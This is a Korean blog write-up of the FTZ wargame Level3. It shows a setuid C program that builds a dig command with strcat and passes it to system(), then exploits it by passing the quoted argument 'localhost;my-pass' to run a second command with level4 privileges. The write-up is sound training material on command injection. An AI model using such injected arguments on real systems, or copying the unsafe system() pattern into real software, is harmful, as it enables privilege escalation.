Github avatar

GyeongSu Han's Github Pages

FTZ Level3

Jun 29, 2015 · Wargame

Level3의 힌트를 보자.

[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

autodig를 사용하라고 한다. strcpystrcat을 이용하여 cmd라는 배열에 최종적으로

"dig @'인자로 받은 문자열' version.bind chaos txt"

라는 문자열을 만들게 된다. 이 문제에서 dig는 별로 중요하지 않지만 dig는 인자로 받은 주소(네트워크 주소)에 대한 정보를 알려주는 명령어이다.

여기서 중요한 것은 힌트를 보게 되면 동시에 여러 명령어를 사용하려면 인데, 리눅스에서 동시에 여러 명령어를 사용하려면 ;를 기준으로 사용하면 된다. 우리가 코딩을 할 때 ;을 기준으로 문장을 끝내듯이, 리눅스 명령을 사용할 때에도 ;을 기준점으로 사용하면 된다.

pwd; cd /; pwd;을 예시로 사용해 보겠다.

[level3@ftz level3]$ pwd; cd /; pwd
/home/level3
/

첫 pwd에 의해서 현재 디렉토리의 위치를 출력해 주고, 가운데 cd /에 의해 /디렉토리로 이동됬다. 그 후 마지막 pwd에 의해 /의 위치임을 출력하게 되었다. 이렇게 한번의 명령을 보낼 때 ;을 기준으로 여러 명령을 보낼수 있다.

이점을 이용하여 이번 문제를 해결해 보겠다.

우선 파일의 위치를 검색한다.

[level3@ftz level3]$ find / -user level4 -perm +6000 2>/dev/null
/bin/autodig

파일을 실행 할 때 my-pass명령어를 실행 시키도록 하겠다. ;을 사용하면 되므로, 인자를 localhost;my-pass로 주겠다.

[level3@ftz level3]$ /bin/autodig localhost;my-pass
; <<>> DiG 9.2.1 <<>> @localhost version.bind chaos txt
;; global options:  printcmd
;; connection timed out; no servers could be reached

Level3 Password is "can you fly?".

Level4의 password가 아닌 Level3의 password를 보여주고 있다. 명령이 제대로 들어가지 않은 것이다. 이 부분에서 hint의 2번째를 생각해야 한다.

문자열의 형태로 보낸다는 것은 우리가 적은 인자는 문자열의 형태가 아닌 ;를 기준으로 끊어 보내게 된다. 그러므로 /bin/autodig localhost라는 문장과 my-pass라는 문장을 끊어서 해석하게 된다.

그렇게 되면 /bin/autodig localhost가 끝나게 되면 my-pass를 실행시키게 되는데, setuid가 걸려있는 프로그램에서 실행시키는 것이 아닌 현재 터미널에서 실행시키게 되어 권한은 level3의 권한을 유지하고 있다.

문장을 한번에 보내기 위해서는 ""를 사용하여 보내고자 하는 부분을 묶어 보내야 한다.

[level3@ftz level3]$ /bin/autodig "localhost;my-pass"
; <<>> DiG 9.2.1 <<>> @localhost
;; global options:  printcmd
;; connection timed out; no servers could be reached

Level4 Password is "           ".

이렇게 ""를 사용하게 되면 원하는 문자열로 보낼 수 있다.